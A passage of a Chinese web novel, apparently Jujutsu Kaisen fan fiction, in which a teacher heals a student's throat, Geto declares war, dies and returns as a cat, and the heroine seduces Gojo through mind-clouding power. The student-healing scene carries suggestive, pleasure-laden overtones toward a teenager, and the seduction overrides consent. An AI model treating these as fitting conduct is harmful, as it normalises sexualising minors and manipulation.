“你混蛋!”女人极力想要甩开他,这次竟然成功了。她往后跌了几步,拉开了两人的距离。 “怎么这样说,我们好歹也有快乐的时光呀。”夏油杰半垂着眼睑,嘴角微微往下撇,装出伤心的样子。 五条悟没有取下眼睛上的绷带,他隔着一层白色的布看着自己过去的好友——也是他此生唯一的好友,如同隔着永远无法跨越的屏障。 他没有回应夏油杰的话,只是向今野桃伸出了手。 “小桃,过来。” 他开口说着。 于是女人委屈的脸上绽放出了灿烂的光彩,她欢快地朝着信任的老师跑了过去,扑在了他的怀里,然后躲到了他的身后。 可恶的、邪恶的诅咒师!休想挑拨她和老师之间坚不可摧的感情! 五条悟接住了她,虽然因为绷带的缘故,信息已经被筛选掉了许多,但仍然有许多细节通过“六眼”被捕捉到他的大脑中。 湿润的眼睛、泛红的鼻尖、汗水和泪水打湿的衣领……还有攥着他衣角的手指上清晰的咬痕。 这些,都是杰做的吗。 夏油杰若无其事地站直了身体,他拍打着身上的灰尘,将全部散开的头发往后撩开,整理好自己的仪容,又恢复成那个温柔和善的样子。 “今天不能继续交流感情了,下次有机会再见吧。”他对藏在五条悟身后,只露出头顶和一双眼睛的女人眨了眨眼睛,得到了一个怒瞪。 五条悟抬起手,大拇指和中指掐出了一个印,他冷冷说道:“你以为自己能轻易逃走吗。” 夏油杰歪了歪头,笑道:“比起和我叙旧,还是关注一下你的学生比较好。” 话音落下,巨大的轰鸣声自废弃商场的某个角落响起。 今野桃呼吸一窒,脱口喊道:“棘和忧太!” 那两人现在不会还在咒灵的追杀下苦苦支撑吧?!他们打得过夏油杰的咒灵吗? 事已至此,显然这里突然出现的咒灵就是某个咒灵操使的手笔。 五条悟的唇线绷得很紧,牙关紧咬,本该释放的攻击迟迟不见动静。 夏油杰扯了扯嘴角,对他们说道:“再会。” 他缓缓后退,身影融入到了黑暗之中,消失得无影无踪。 “老师,我去找……” 今野桃停住了脚步。 她没办法走,一只大手握住了她的手臂,像锁链一样禁锢住了她。 今野桃咽了口口水,怯怯地抬眼,才发现老师不知道什么时候用指尖拉下了绷带,那双湛蓝色眸子里的暗色翻涌如雷云,酝酿着可怕的暴风雨。 第98章 东京不大,或者说,日本这个国家就不大。但五条悟和夏油杰能整整十年不相见,而且夏油杰的活动区域还如此固定,这就很说明某些问题了。 不是不能见,而是不愿意见。 一旦见面,两人之间就必然会有一场战斗。不管是谁赢谁输,过去的情分都荡然无存了。 情分……他和杰之间,还有什么情分可言呢? 五条悟握紧了拳头。十年后的他已经不会再像十年前的他那样,让鲜血染红指甲,只为了克制住惊涛骇浪般震荡的心情。 他变得更加成熟,更加冷静。 所以,他清楚地知道,他在迁怒。 哈,原来他毕竟也还是人类啊,迁怒这种低级的情绪,也会出现在他的身上。 “老师……”被迁怒的人还懵懂无知地拉着他的袖子,试图讨好他地晃了晃。 五条悟审视着她,锐利的目光看得她越发不安。 “老师在生气吗?”她惴惴开口道,“我、我跟他……那位诅咒师,确实很久没见了。” 他知道,毕竟夏油杰开口就是“好久不见”。更何况,他这个女学生,向来是很乖很听话的,他不允许他们私底下接触,她绝对不会瞒着他偷偷跟一个通缉榜上有名的邪恶诅咒师来往。 但她太弱了。 “抱歉,让你遇到了这样的事情。”他这么说道,“作为补偿,以后你的任务就推给我吧。” 今野桃怔了怔,连忙摇头:“不行的,老师的任务本来就已经很多了,我的任务基本上都很简单,怎么能占用老师的休息时间。” 本来他的休息时间就很少了啊! 五条悟没有回她这句话,看样子是已经做好了决定。 走出废弃的商场,乙骨忧太和狗卷棘已经等在那里了,看见两人同时出现,都显得有几分惊讶。 “五条老师,小桃老师。”乙骨忧太打了个招呼,“小桃老师你没事吧?” “没事哟,谢谢忧太的关心。”今野桃对两个学生勉强露出了一个温柔的笑容。 狗卷棘没有说话,只是用清透的目光传递着自己的担忧。 今野桃伸出手,摸了摸狗卷棘看起来扎手其实柔顺的头发:“有五条老师在呢,不会有事的啦。” 可是问题就在这里,什么样的任务需要两个老师一起出动,其中还有一个是特级咒术师。 伊地知洁高站在结界边上,急得团团转,看见四个人走出来才松了一口气。 “抱歉,是我……” “回去再说吧,伊地知。”五条悟打断了他的话。 伊地知洁高讷讷点头,开车带他们回去了。 同样敏锐又心思细腻的乙骨忧太也察觉到了不对,但他不敢去问。相较而言,和老师好感值更高的狗卷棘就敢直接发问。 想问的话太长,他噼里啪啦地在手机上打字。 [小桃老师,是有诅咒师埋伏我们吗?] 这个问题好回答,也不好回答。好回答在于只要摇头就能敷衍过去,不好回答在于,如果不想撒谎,就可能会吓到学生。 于是小桃老师搬出了大人的通用回答:“这不是你们小孩子需要知道的,放心 好了。” “我们可不是普通的小孩子,我们可是咒术师。”禅院真希不满地说道。 “没错。”熊猫点头,“万一下次再遇到,好歹让我们有个心理准备。” 小桃老师沉默了。她在斟酌,要不要将真相说出来。 [拜托了,小桃老师。] 面对着喜欢的学生的祈求目光,小桃老师捏了捏鼻梁,她算是体会到了五条老师对她的无奈。最终,她为难地开口道:“伊地知先生的调查是没有问题的,当时在废弃商场里面的确实只有一群低级咒灵。但是,有人在伊地知先生设下的结界里又嵌套了一层结界,并且释放出了那个准一级咒灵。” 准一级咒灵,除了狗卷棘之外,在场的学生没有人可以应付。 这个等级卡得很微妙,如果再强一点,或许就是对小咒术师们的杀招。但现在看来,试探和戏弄的成分更多。 “那个人是谁?”禅院真希皱紧了眉。 今野桃再三犹豫,将那个名字说了出来:“夏油杰。四个特级咒术师之一,如今正被通缉的诅咒师,夏油杰。” 既然已经将一切都说出来了,她便不再隐瞒,甚至要将这个诅咒师渲染得更加可怕,好叫学生们看见了就跑,别丢了小命。 “他曾经一口气屠杀了一百多个普通人,被高专驱逐。”她严肃地说道,“如果你们遇到了,绝对不要和他纠缠,一定要立刻离开,知道吗?” 几个学生都倒吸了一口气,为这男人的心狠手辣而感到恐惧。 “鲑鱼!” “知、知道了!” 大家离开的时候,狗卷棘留了下来。乙骨忧太关门时往办公室里望了一眼,白发少年仍然坐在之前的那个椅子上,只是那时他看见的是他的背影,只能借助一点点侧过来的角度看到他张开的下巴。 而现在,他能看见他的正脸了。 之前乙骨忧太以为,狗卷同学的性格是严肃的,因为不能很好地与别人沟通,所以非常有距离感,人看起来也很成熟的样子。 但现在,他在笑。 这是一个放松的、愉快的笑,他的眉眼弯成了清浅的月牙儿,围巾被拉了下来,唇角上扬,露出了尖尖的虎牙,办公室里的灯光好像都变得更加明亮了。 门被关上,乙骨忧太莫名有些失落地跟在同学的身后离开。 狗卷棘并不知道自己同学的复杂心路历程,他满怀期待地坐在了老师的对面,像上次那样,任凭她摆弄自己。 今野桃轻轻掐着他的下巴,让他张开嘴。 “唔……好像伤得有点严重了。”她有点苦恼,“一口气消灭那么多咒灵,对现在的你来说,消耗很大啊。” “木鱼花。” 这是在说“没关系”吧,今野桃不满地瞪了他一眼,在洗手池里打上香皂反复净手。 “抱歉,我的术式并不能让你完全愈合。”她语带无奈,“要论治疗,还得去找家入医生。” “木鱼花。”狗卷棘并不想去找家入医生,事实上,这点小伤就算不治疗,以他的经验来看,过几天也会好的。去找家入医生,她也只会开点药,让他下次自己吃药,别来医务室占用医疗资源。 家入硝子的咒力是有限的,所以得节省着用。她经手的,大多都是缺胳膊少腿的重症患者,就这样,也经常陷入加班地狱中。 “我的术式要通过接触才能更好地发挥作用。”今野桃软下了语气,开口道,“所以你稍微忍耐一下。” 狗卷棘点点头。 今野桃小心翼翼地开始检查起他的喉咙,她压住他的舌面,摩挲着凸起的咒纹。 咒力如汩汩的水流,缓缓注入到少年的身体中。嘴角溢出的液体被她仔细地擦去,不让他显出一分一毫的狼狈。 大脑是会欺骗身体的,痛苦被愉悦蒙蔽,就连伤口的愈合速度也加快了。 狗卷棘克制着异物入侵的古怪感觉,鼻尖泛起了一点红色。他晕乎乎的,整个人像是被包裹在软绵绵的毛绒玩具里。 “啊,抱歉,用力过猛了。”他听见小桃老师轻笑着说道,手指微微动了动,似乎想要缩回去。 狗卷棘条件反射似的握住了她的手腕。他含含糊糊地吐出了几个字:“没、没关系……” 他早就知道,外人眼中脆弱的、毫无攻击性的小桃老师,其实有着多么可怕的能力。 只要她想,她可以赐下最极致的快乐,也可以让人陷入最可怕的痛苦。她会成为操纵人心的主宰,成为让人无法摆脱的瘾症。 但她没有。她缄默地、如影子般跟随在咒术界最强者的身后,甘愿成为他的臂膀,把自己限制在学校这个狭窄的地方。 她爱着这些学生,正如五条老师爱着她。 狗卷棘感受着她温暖的怀抱,背脊上轻轻拍打的手臂让他昏昏欲睡,他在快乐的余韵中失去了所有力气。 好喜欢、好喜欢、好喜欢小桃老师啊…… 他是小桃老师最喜欢的学生吗? 乙骨忧太入学前,他对此深信不疑。但现在,他不敢肯定了。 “从忧太身边滚开!” 纤弱的身体撞开钳制着男生的诅咒师,她如被侵犯领地的女王,为保护自己的领民,怒不可遏地向比自己强大得多的敌人发起了进攻。 明明、明明是她告诉他们,遇到了这个人要立刻逃跑,但现在为了乙骨忧太,却悍然挡在他们的面前。 这样的小桃老师,好像无所不能的小桃老师…… 【乙骨忧太好感值:60】 【狗卷棘好感值:80】 【夏油杰好感值:65】 第99章 夏油杰被撞开,他优雅地后退两步,嘴上还要说着:“竟然偷袭吗,真是过分啊。” 和他的悠闲相比,高专这边的警惕就显得有点落于下风了。 “我早就说过的,忧太跟你不是一路人,你休想蛊惑他!”今野桃拦在了几个学生面前,用行动表示她的立场。 夏油杰并未因此生气,只是觉得好笑:“就凭你也想阻止我?小桃啊,你是不是有些太不自量力了呢?” “那就从我的尸体上踏过去。”今野桃语气冰冷地说道,“你会这样做吗?” 夏油杰还真的被她哽了一下。 “啊,你怎么能这样跟夏油大人说话!”两个女孩在后面不满地嚷嚷,“好讨厌!” “不要乱说话,美美子,菜菜子,那个女人明显是夏油大人的旧识。”穿着暴露的男人提醒道。 “是啊,我可不敢对你动手呢。”夏油杰装模作样地叹气,“你可是有着连我都不敢招惹的后台。对吧,悟。” 五条悟和一众老师赶到了这里,五条悟一步一步地靠近,挟带着沉重的气势。 “离我的学生远一点。”他冷冷开口,“你就这么喜欢对我的学生下手吗。” 虽然知道五条悟指的是这个诅咒师想要把好苗子拐到自己的阵营,但不知道为什么,总感觉这句话还有其他含义。 夏油杰歪着头,和五条悟对视了几秒,随后他露出了一个灿烂的笑容。 “啊啊,好久不见呢,悟。听说今年你教出了不少好学生,”他扫视了一圈,挨个细数道,“特级被咒者,突变咒 骸,咒言师的后裔,还有……禅院家的吊车尾。” 提到最后一个时,他的语气变得轻蔑。 禅院真希像踩中尾巴的猫,瞬间炸毛。 “你这混蛋!”她拎起武器就要冲上去。 “别冲动!”今野桃按住禅院真希的肩膀,她是个和禅院甚尔一样无咒力的天与咒缚,如果真的动起手来,夏油杰不会手下留情的。他那点怜悯之心只会给咒术师,绝不会施舍给他眼中没有咒力的“猴子”。 夏油杰轻嗤一声,袖子轻甩,端的是一派优雅矜贵的模样。 “好了,闲聊时间到此结束。”他揣着手,幽幽说道,“我来此,正是为了宣战。” 看着众人微变的脸色,他笑道。 “十二月二十四日,太阳落下的时候,我们将举行盛大的百鬼夜行。”他张开双手,如同拥抱一个崭新的世界,“地点就在诅咒的大熔炉——东京新宿和咒术的圣地——京都,我们将在那里释放上千个诅咒,下达的命令嘛,当然是……” “大开杀戒。” 他说这句话的时候,唇角笑容的弧度都未曾改变分毫。 “不想看到这样地狱般的场景,那就来拼死阻止看看。” 他甚至笑得越发开心,越发可怖。 “让我们尽情地——互相诅咒吧。” 狂风吹过,极恶的诅咒师扔下战书,飘然离去。他走得干脆,扔下一个被困在回忆中的挚友。 夕阳的余晖斜斜地从窗口照进来,给教室里的一切人和物都镀上了一层昏黄的光晕。五条悟坐在椅子上,修长的腿架在桌上,姿势如当年读书的时候一样。 他的影子被拉得很长,孤零零地投在斑驳的地面上,像记忆里擦不去的伤疤。 天色渐渐暗了,云层被一点一点染黑。偶尔有风吹过,掠起几张被遗忘的纸,在空中打着旋儿又无声地落下。 耳边仿佛响起了熟悉的说话声,在短暂的失神中,他竟然有点分不清现实和虚幻。 直到最后一缕光从窗棂间彻底溜走,黑暗慢慢吞噬了这片空间。五条悟才放下双腿,坐直了身体。 他起身,拉开了教室的门。 昏暗的走廊里,有一个人蹲在门口,不知道等了多久。 她撑着下巴,整个人有点昏昏欲睡。听见开门的声音,她这才猛然惊醒。 “啊,老师。”她揉了揉眼睛,站起来,跺了跺已经发麻的脚。 五条悟没问她什么时候来的,有着“六眼”的他早就发现了她。但她没有说话,他也就装作不知道。 “那天,你就待在高专吧。”他低声说道,“不要到处乱走,保护好自己。” “好的,老师。”今野桃乖巧地点头,“那老师要去哪个地方呢?是东京还是京都?” 五条悟没有回答。 渐渐地,女人脸上的笑容挂不住了。她低下头,抠弄着指甲。 “老师是认为……我会把消息告诉诅咒师吗?”她显然在极力克制,但声音中还是带出了些许哽咽。 五条悟抬手,落在了她的头顶,轻轻揉了一把。 “没有,只是我现在也没办法回答你,到时候去哪边,要看人手安排吧。” “……哦。” 有气无力的回答,像是被雨水打蔫的花朵。红彤彤的鼻子仿佛昭示自己受了什么天大的委屈,眼泪要掉不掉地在眼眶里打转。 真是受不了,好像他欺负了她似的。 “行了。都这么大的人了,还哭呢。”五条悟如每一次哄她那样,把她抱在了怀里,“让学生看见了,肯定会被嘲笑的吧。” 女人吸了吸鼻子,闷闷开口:“我只在老师面前这样啊……” 每个人都有不一样的那面,只对特定的人展示。 就像五条悟现在会对学生轻车熟路地打趣嬉笑,但当初他也曾手足无措,谨慎地想要让学生感到可靠。后来变成习惯了,对这个一路追随自己的女学生难免就多上了点心。 “知道你最听话。”五条悟的目光落在仿佛看不见尽头的走廊深处,喃喃道,“但这次……杰做出这样的事情,他的结局已经注定了。” 其他人都不会是杰的对手,只有他,他会结束这一切。 他会……亲手杀死自己的挚友。 “那老师呢?”女人抓着他的手臂,深吸了一口气,问道,“那老师会因此觉得高兴吗?” 五条悟沉默以对。 “……抱歉,老师。”她讷讷开口,“我知道了。” 夏油杰攻入高专的那天,她站在曲曲折折的小道上,等待一只受伤的、迷路的羊羔。 高耸的墙壁挡住了血色的夕阳,杂乱的脚步声奏起了死亡的乐章。当两人碰面时,一个淡然,一个惊讶。 “真是……没想到第一个碰到的人会是你啊。”夏油杰无奈笑道,“虽然我现在看起来像是要死掉了的样子,但你的话,想要杀掉我,还是很困难的哦。” 今野桃没有接话,她的目光扫过这个狼狈不堪的男人。总是梳理得整齐的头发凌乱地披散下来,他的半边身体都是血,脸上也是红色的脏污。他失去了一只手臂,上半身的衣服也变得破烂不堪。 “好可怜啊,杰。”她轻声说道。 在夏油杰惊疑不定的目光中,今野桃踩着不紧不慢的步伐逼近了他。她伸出手,摸了摸他的胸口。 指腹顺着肌肉往下滑,她摸到了嶙峋的骨头。 “你瘦了好多。” 今野桃忽然想起从前高专时期的那个意气风发的男生,那时的他远比现在健壮。 “一看就是没有好好吃饭。”她叹道。 夏油杰哑然,表情有点古怪。 “不要自顾自地说着奇怪的话,”他靠在墙壁上,感受着生命的流逝,“除非你愿意帮我逃走,我们一起离开高专,怎么样?” 今野桃笑了笑,她收回了手,忽然抱住了他,短暂的几秒钟后松开,对他说道:“再见。” 缥缈的声音在空气中消散,她迈开脚步,和他擦身而过。风撩起她的发丝,轻柔地拂过他的肩膀。 是装作没见过他?夏油杰慢慢地滑坐在地上,遗憾地想道。 可惜,他们已经不会“再见”了。 熟悉的脚步声渐渐接近,他抬眼,朝来人打招呼。 “好慢啊,悟。”。 一切都结束了,咒术师们高兴于世界上又少了一个诅咒师,咒术界再次恢复了平静。 五条悟看起来也没什么异样,他重新投入到了工作之中,越发地忙碌起来。 他如承诺的那样,把所有需要今野桃离校的任务都接走了,只余下一些轻松的活。代价就是,他往心理办公室跑的次数也多了起来。 用反转术式修复使用过度的大脑,再找心理老师治愈疲倦的心灵。 他倒是把自己安排得明明白白。 “这样终究是饮鸩止渴。”她揉了揉太阳穴,无奈地说道,“好好睡一觉,比什么办法都管用。” “不行啊,等下还要去出差呢……”五条悟趴在她的办公桌上,懒洋洋地打了个哈欠。 今野桃熟练地从口袋里掏出一颗糖果,剥开糖纸塞进他的嘴里。 但在这种程度的劳累下,效果聊胜于无。 眼看他又打了个哈欠,湛蓝色的瞳孔都蒙上了一层阴翳,今野桃忍不住了。 “那个任务我拜托冥冥前辈去做吧。”她真的有点心疼了,“你今天就跟我一起放个假,好不好。” 她恳求地握着他的手,眼睛里的关心和担忧都快要溢出来了。 不行啊,自己的责任怎么能推给别人去做呢。而且,偷了一次懒,后面就会有第二次、第三次…… “正好我今天有事要回去一趟,求求老师了,好不好?”她软着声音,又是撒娇又是哀求。 她很少这样做,五条悟很难拒绝学生都到这个份上的请求。 “你回去干什么?”他无奈地问。 今 野桃顿了顿,开口回道:“我新养了一只猫,怕他在家闹事。” “猫?”五条悟没想到会是这个回答。 “嗯。”今野桃知道他这是同意了,立刻对他绽放出甜美的笑容,“我家的猫会后空翻哦。不过嘛,他少了一条腿,所以可能不太灵活。” 第100章 今野桃带着五条悟明目张胆地翘班了。他们两人没有坐辅助监督的车,而是悄悄地从山上飞了下去,然后乘坐了公交车。 公交车的速度不快,每一站还会停下来等,摇摇晃晃的时候,竟让人有种昏昏欲睡的感觉。 五条悟侧过头,看着蒙上了一层雾气的车窗。被阴沉的云染成铅灰色的天空下,光秃秃的树枝在寒风中僵硬地摇晃。他忽然惊觉,自从好友离开后,他再也没有这样坐过公交车。 毕竟这种交通工具实在是太慢,有这点功夫,他早就抵达目的地了。 当然,还有一个原因就是,不安全。 总是被袭击的他,乘坐这种交通工具完全是在给别人制造麻烦,他自己也要时刻警惕。 除非……有人替他在旁边守着。就像当初在冲绳的时候,把咒力使用到极限一样,因为他清楚地知道,会有人接手他的工作,他可以放心地交给对方。 柔软的手指搭在了他的手背上,五条悟侧过头,对上女人浅浅的笑容。 “到站了我会告诉老师的。”她轻声说道,“不会很远。” “哦。”五条悟干巴巴地回道。 连日的工作已经耗尽了他所有的心力,身体的状态可以用反转术式刷新,但精神上的疲倦只能硬扛着。 不知道什么时候,他的眼皮越来越沉,呼吸也逐渐变得均匀。 忽地一个颠簸,车身猛然晃动,短暂地惊醒后,他又再次闭上了眼睛。 直到学生摇醒他,他才迷蒙地睁开了眼,努力寻回了一丝神志。 像担心他走丢一样,她紧紧牵着他的手,领着他下车。走了一小段路后,她停了下来。 五条悟不是没有来过她家,但次数太少了,而且大多都只是在门口短暂停留。所以走进去的时候,还有点陌生。 这是很普通的一套两室一厅,不仅外表普通,里面的装潢也很普通,相当符合一个独居女人的刻板印象。 五条悟在狭窄的沙发上坐下,显得有些缩手缩脚。 “老师要喝什么吗?红茶还是白开水还是可乐?” “可乐吧。”五条悟无所谓地回道。 他扫视了一圈,发现了几个新添置的东西——猫抓板、猫砂盆、猫粮袋子…… 他接过罐装可乐,咔地一声打开,刚刚啜饮了几口,就不知不觉愣愣地停住了。 今野桃从卫生间里抱了一只猫出来。这不是重点,重点是,这只猫……它长得好奇怪。 它有刘海! 奶牛色的猫咪被女人抱在怀里,把身体团成一团,连尾巴都缩在了身体下面,乖巧得不得了的样子,只露出一个脑袋搭在她的手臂上。 在它的左边眼睛上方,有一小簇毛是黑色的,特别像是一条刘海。 不是,这对吗?死去的挚友变成猫回来了? 五条悟不由自主地把绷带拆下来,一双湛蓝色的瞳孔里满是疑惑和震惊。 “我捡到他的时候,他还在垃圾桶里翻东西,差点就被坏人伤害了。”今野桃爱怜地一下一下抚摸着猫咪的脊背,“所以他可能有些怕人,老师不要介意。” 五条悟伸出的手悬在了半空中,他看见小猫在察觉到他想要摸它时,往她怀里钻的动作。 如果是杰的话,一定不会这样做吧…… 今野桃笑容不变,她托着小猫的脑袋,把他强行拎了出来,递给了五条悟。 五条悟低垂着眼睑,目不转睛地看着它。 它抖得很厉害,显然非常害怕这个巨大的人类。 “算了。”他撇过头,确定这只是一只普通的小猫,“没兴趣。” “好吧,可能他确实太紧张了,或许下一次老师来看他的时候,他就会愿意和老师亲近了呢。”今野桃捏了捏小猫的耳朵说道,“毕竟他只有三条腿,之前一定受过虐待吧。” 三条腿…… 五条悟很难不联想自己已经死去的挚友。 今野桃抬眼,意有所指地说道:“老师也想起了他吗?” 五条悟拿起可乐的动作停住了。 “他”指的是…… “很正常啦,我就是因为这个所以才把他带回家的。”今野桃坐在了五条悟的边上,两人的身体亲密地挨在一起。 五条悟不太自在地动了动,开口道:“你和杰很熟吗?” 今野桃低头拨弄着猫咪的爪子,对方像个玩偶似的,一动不动。 “不算很熟吧,见过几次。” “那你跟杰睡过觉吗?”五条悟的语气不带一丝恶意,只是单纯地发问。 今野桃猛地后仰,瞪大了眼睛:“老师怎么会这样问啊,我怎么可能和他做出那种事情!” 五条悟的目光有些游离,说不上是失望还是生气还是放松…… “你跟杰接吻过了吧。”不等她否认,他开口道,“上次你的脖子上,有他留下的痕迹。” “……”今野桃哽住了。 什么?!上次夏油杰竟然在那个地方留下了残秽吗?! “我不知道你们发生了什么,但杰一定很喜欢你。”五条悟喝下一口可乐,说道,“他啊,虽然看起来很受女性欢迎,但其实根本就不会谈恋爱。以前我们做任务的时候,他收到的搭讪纸条竟然比我还多,超过分诶。” “老师是羡慕吗?”今野桃笑着也喝了一口可乐。然后她放下罐子,手不经意地靠在了他的手背上。 那只明显比她要大了不少的手本能地往里缩了缩,又很快放松下来。他没有使用“无下限”,体温顺着接触的那一小块肌肤传递过来。 今野桃垂眸,纤长的睫羽遮住她闪烁的眸光。 如果夏油杰还活着,五条悟一定会非常生气,气他竟然引诱自己的学生。 但他死了,还是被他亲手杀死的。 他死得理所当然,死得众望所归,他甚至找不到一个人能和自己一同祭奠他。 “有什么好羡慕的。”五条悟单手支着下颌,嘟囔着说道,“我长得比他好看,不是一目了然的事情吗,她们不敢给我塞纸条是有自知之明。” 确实,夏油杰的脸鼓起勇气还敢摸一摸,五条悟的外表太有距离感了。 “看样子老师不相信一见钟情,是日久生情派呢。”今野桃低低地笑了起来,笑声很轻柔,带着一丝暧昧,像夏夜里吹过的一阵风,带着似有若无的撩拨。 五条悟突然就有点坐立不安了。 他清了清嗓子,开口道:“我什么都不是,我是‘天真(日语中“天真”与“甜食”同音)派’。” 天真,是指自己对男女之事毫无兴趣? “那老师有接过吻吗?”她忽然这样问道。 五条悟像没涂油的机器人,一下子就僵住了。 她怀里的猫咪也僵住了,一双紫得发黑的眼珠子睁得老大,都快从眼眶里掉出来了。 “老师会想试一试这种感觉吗?”她一点一点靠近了他,明明比他矮那么多,表情也是可怜又柔弱的,但五条悟却莫名觉得自己落入了下风。 他好半天说不出话来,嗓子像被糖块糊住了。 猫咪的胡须抖了抖,它用力眨了眨眼睛,视线落在两人交叠的手掌上。 悟……悟一定是受了她咒术的影响!这个女人、这个女人是个骗子! 之前她就把他骗得晕头转向,现在她要骗走悟的初吻了! 猫咪刚要有所动作,女人的另一只手却掐住了它的脖子。巨大的力气钳制着它,如不可能挣脱的锁链让它无法动弹。 她的关节顶着它的喉咙,暗示着她的杀意。 “老师,拜托了……”她祈求的语气让五条悟难以推开她,只能眼睁睁看着她慢慢吞噬两人之间的距离。 “等等——!” 五条悟的话还没说完,今野桃就打断了:“老师是嫌弃我吗?因为夏油学长曾经抱过我?” 她垂然欲泣,翻滚的咒力像泥浆,逐渐攀附上最强者的四肢,但他却浑然不觉。 他当然不知道,当他走进这个屋子,就已经踏入了猎人的陷阱。这里四处都遍布着她的咒力残秽,它们涌动着,蒙蔽了他引以为傲的“眼睛”。 “没有,我不是这个意思……”五条悟只觉得心跳得太快了,血液好像被什么东西点燃,呼吸的时候喉咙都在发烫。事情的走向有些不对劲,理智在提醒他小心,但情感却不受自己控制。 相信她、依从她……她是那样喜欢他,是他一手带大的,绝对不会伤害他。 唇珠蹭过他的下巴,她的指尖顺着肌肉隆起的线条钻进他的袖口,一路往上。 “咪——” 小猫拼尽全力,挤出了一声极细微的叫喊,如救命的蛛丝,被溺水者抓住。 但他没有想要逃出生天,而是问了一个非常奇怪的问题。 “你和杰……不是情侣吗?”他喃喃道。 今野桃眨了眨眼睛,无辜地开口道:“当然不是,夏油学长可没有向我告白过。” 她没了耐心,将小猫彻底按下,借着这股力往上,终于让两人的嘴唇相接。 失去视野的小猫只能听见急促的呼吸声和细微得几乎难以分辨的缠绵水声,还有一句振聋发聩的话。 “更何况,他死了呀。” 100-110 第101章 夏油杰的人生实在称得上是一句跌宕起伏。 年少时家庭不睦,进入高专后,以为自己找到了正确的人生道路,结果发现都是一场幻想。后来杀父弑母,堕落地狱,以至于甘愿赴死,来逃离这个毫无希望可言的世界。 直到呼吸彻底停止前,他还在口口声声说着“这个世界不能令我真正欢笑”。 他自认为这短暂的一生中,他只对不起两个人。 一个是自己唯一的好友五条悟,一个是五条悟的学生。 嘶,这么想来,他好像就抓着五条悟祸害了。跟他成为朋友,当真是倒霉啊。 夏油杰忍不住在死前笑了起来。 可惜,他在笑,对面的好友却在哭。 五条悟没有流下眼泪,只是那片总如湛蓝晴空的眼眸里,阴雨连绵。 能死在咒术界最强的手里,他也算是有一个圆满的落幕吧。太累了,他真的太累了…… 闭上眼睛,他慨然赴死。 “……严重……” “哇,手……也没了……” 窸窸窣窣的声音在耳边响起,这难道就是魔鬼的絮语? 夏油杰睁开眼睛,看见一张放大的人脸。他陡然一惊,想要张口说话,却吐出了一个字。 “喵——” 未尽的话语堵在喉咙口,奶牛色的小猫脸上浮现出了相当人性化的表情。 愕然、恐惧、迷茫…… 女人笑出了声,伸手拍了拍它的脑袋。 “恭喜你,又活过来了。” 夏油杰低头看着自己,有毛、有爪子,还会喵喵叫,所以他现在是……? 他突然感觉自己被拎了起来,然后落入了一个温暖的怀抱中。 “幸好我时间卡得准,不然你就真的要死了。”她如是感叹道。 什么叫做真的死了?他不是已经死了吗?悟下手很果断,没让他觉得痛苦。 “喏,你自己看。”她掐着他的小猫脑袋,让他看旁边地上躺着的尸体。 男人双目圆睁,仰面躺倒,额头上一道缝合线,脑子滚落在旁边,已然成为了一滩烂泥。 “那人的术式是夺取身体哦,他可以把你的脑子取出来,然后再把你的身体据为己有。”女人笑眯眯地在他耳边说道,“死者复生,是不是很有意思?” 旁人听起来确实很有意思,但对当事人来说就很可怕了。 夏油杰打了个哆嗦,紫色的瞳孔中浮现出厌恶。 “五条悟用我钓你,你用我钓五条悟,我再用你来钓羂索。”她悠然说道,“我们可真是默契啊。” 所以她早就知道有这么一个人存在,还故意用他的死亡来引诱这个叫羂索的人出现? 小猫抬头,定定地看着她。 她和记忆中的印象不一样了。在夏油杰的脑海中,名为“今野桃”的存在像是一道影子,一道附属于五条悟的影子。她好似没有自己的想法,总是一味地追随着自己的老师。 她柔软、可怜、弱小,是轻易就能被取代的二级咒术师。如果她不是五条悟的学生,实在没什么值得一提的地方。 但现在,她褪去了伪装,露出了真实的自己。她冷酷、强大、运筹帷幄。她将所有人都玩弄于股掌之中,看他们徒劳忙碌。 “干什么用这种看负心汉的眼光看我啦。”今野桃蹲下,咒力运转,将尸体变成了“夏油杰”的模样,然后放回棺材里,“你还得谢谢我,不知道吗,如果不是我,他会夺走你的身份,假借你的名义,骗取五条悟的信任,然后杀死他。从此,咒术界就会陷入巨大的动荡,咒灵因此而变得繁荣起来。” 夏油杰心头大震。 他想反驳她,却又悲哀地发现,她说的好像不是没有可能。 悟啊……都到那个时候了,还坚信他们只是闹了矛盾,坚信他和十年前一样。 赤忱的少年自己没变,就以为每个人都没变。 小猫萎靡下来,蜷缩成一团不动了。 “嗯?这就受到打击了?”今野桃用手指戳了戳他,“不想活啦?我可是辛辛苦苦提前在你的身体里种下了种子,才保住你的一口气没有散掉,好不容易把你救回来的哦。” 利用拥抱的机会,通过“无为转变”改造他的灵魂,让他活了下来。 可惜夏油猫咪不领情,反而好大声地哈了她一下。 那你为什么不直接把他复活,而是要把他变成猫咪?这分明就是恶趣味吧! “好吧好吧,既然你要装傻,那我也没办法啦。”女人摇摇头,把猫咪夹在手下,将被她弄得乱七八糟的棺材盖起来。 夏油杰四处张望了一番,发现这里并不是咒术师统一安葬的地方。事实上,按照一般的规定,他现在本该化作一团灰烬的。毕竟咒术师的身体也是非常有用的东西,可以用来制作成咒具,所以必须经过处理。 “这里是五条家的墓地。”今野桃回答了他的疑惑,“等到五条悟死后,大概也会被埋在这里吧。” “……”夏油杰低头,把脸埋在了毛绒绒的爪子里。 今野桃把一切都恢复原状后,抱着小猫扬长而去。她如出入无人之境那样,轻松地离开了防守严密的五条家族。 夏油杰安静地看着她,心上沉甸甸的。 她到底想做什么呢? 她隐瞒这么多,会伤害到悟吗? 在大脑一片混乱中,他跟着她回了家。并不陌生的屋子里,已经摆放好了猫咪需要的东西。 但是……她认为他会需要猫砂盆吗? 今野桃也看见了墙角的那个盆子,她“啊”了一声,无所谓地说道:“因为我怕自己不小心把你变成真的猫咪嘛,所以就有备无患咯。” ……夏油杰倒吸了一口气。 什么叫做真的猫咪?难道她并不能确保他能留下人类的意识吗? 夏油杰简直不敢想象自己如果真的成为了一只猫咪会怎样,他一定会心甘情愿被圈养,每天睁开眼睛就是等饭吃,然后被她抱在怀里梳毛,被她用玩具逗弄…… 嗯?好像也不是不行…… 不知道是不是变猫后,脑容量也跟着变小了,夏油杰竟然觉得自己的幻想竟然没有让他觉得十分难以接受…… 猫咪和人类相比,谁能说后者比前者幸福呢? 感受着温暖的手掌自头顶一路往下抚摸到尾巴尖,小猫的眼睛也渐渐眯了起来。 没错,做一只小猫,多么幸福啊…… 就在意识逐渐沉沦时,夏 油杰猛地打了个寒颤。他像是从美妙的幻梦中惊醒,每一根绒毛都惊得竖了起来。 “哎呀,果然想用这一招来对付特级咒术师还是有点不太行呢。”今野桃摸着下巴,若有所思地说道。 她对他做了什么?! 